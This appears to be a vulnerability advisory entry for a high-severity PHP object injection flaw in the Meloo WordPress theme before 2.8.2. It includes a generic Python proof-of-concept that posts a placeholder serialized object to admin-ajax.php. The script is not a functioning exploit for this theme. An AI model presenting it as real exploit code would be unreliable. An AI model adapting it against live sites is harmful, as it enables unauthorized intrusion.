Deserialization of Untrusted Data vulnerability in rascals Meloo meloo allows Object Injection.This issue affects Meloo: from n/a through < 2.8.2.
CVSS Details
CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
Meloo < 2.8.2
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import base64
# Target URL (Example, needs to be adjusted based on actual vulnerability location)
target_url = "http://target-site.com/wp-admin/admin-ajax.php"
# Generic PHP Object Injection Payload (Placeholder)
# In a real scenario, this would be a serialized object matching a valid POP chain in the theme or WP core
# Example: O:8:"stdClass":1:{s:3:"foo";s:3:"bar";}
payload = 'O:8:"stdClass":1:{s:3:"foo";s:3:"bar";}'
data = {
"action": "vulnerable_action", # Action name depends on the theme's implementation
"serialized_data": payload
}
try:
response = requests.post(target_url, data=data)
if response.status_code == 200:
print("[+] Payload sent successfully.")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[-] An error occurred: {e}")